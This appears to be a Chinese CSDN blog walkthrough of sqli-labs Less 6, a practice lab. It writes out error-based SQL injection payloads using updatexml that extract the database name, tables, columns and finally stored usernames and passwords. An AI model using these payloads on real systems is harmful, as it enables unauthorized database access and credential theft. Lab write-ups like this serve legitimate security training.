sqli-lab 6

最新推荐文章于 2023-08-04 16:46:20 发布

八云虹

最新推荐文章于 2023-08-04 16:46:20 发布

阅读量117

点赞数

分类专栏： web安全

本文链接：https://blog.csdn.net/qq_55777983/article/details/118895948

版权

SQL注入 sqli-lab 数据库安全信息提取 Web安全

关键词由CSDN通过智能技术生成

web安全专栏收录该内容

36 篇文章 4 订阅

订阅专栏

sqli-lab 冲关记录

前言
摸了好久鱼，今天又更新一波
开冲

less6

首先注入1’
发现报错提示’“1"”
说明前面是"
所以我们注入
1" --+
即可闭合前面的"注释后面的代码
在这里插入图片描述
老规矩先查库名
?id=1" and updatexml(1,concat(’_{’,database(),’}’),1) --+

接下来查询表名
?id=1" and updatexml(1,concat(’~’,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’),’~’),1) --+
在这里插入图片描述
查询字段名：?id=1" and updatexml(1,concat(’~’,(select group_concat(column_name) from information_schema.columns where table_schema=‘security’ and table_name=‘users’),’~’),1) --+

查询内容：?id=1" and updatexml(1,concat(’~’,substr((select group_concat(username,’ ‘,password) from users),1,30),’~’),1) --+
在这里插入图片描述
之后修改substr的第二位参数即
less6通关